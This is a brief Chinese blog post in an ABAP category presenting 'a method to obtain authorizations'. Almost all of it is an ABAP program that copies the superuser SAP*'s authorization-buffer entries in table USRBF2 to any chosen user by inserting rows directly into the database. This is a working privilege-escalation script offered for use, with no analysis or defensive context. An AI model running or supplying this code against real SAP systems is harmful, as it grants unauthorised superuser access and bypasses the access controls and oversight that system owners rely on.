`

获得权限

    博客分类:
  • abap
 
阅读更多

获得权限的一种方法

 
tables usrbf2.
 parameters: p_uname type usrbf2-bname.
 
start-of-selection.
   data lt_usrbf2 type table of usrbf2 with header line.
 
  select * from usrbf2 into corresponding fields of table lt_usrbf2
     where bname = 'SAP*'.
   data l_tabix type sy-tabix.
   loop at lt_usrbf2.
     l_tabix = sy-tabix.
     lt_usrbf2-bname = p_uname.
     modify lt_usrbf2 index l_tabix transporting bname.
     clear lt_usrbf2.
   endloop.
 
  if  lt_usrbf2[] is not  initial.
     insert usrbf2 from table lt_usrbf2 accepting duplicate keys.
     if sy-subrc = 0.
       write 'Sussess'.
     else.
       write 'Try again or leave program'.
     endif.
   endif. 

 

分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics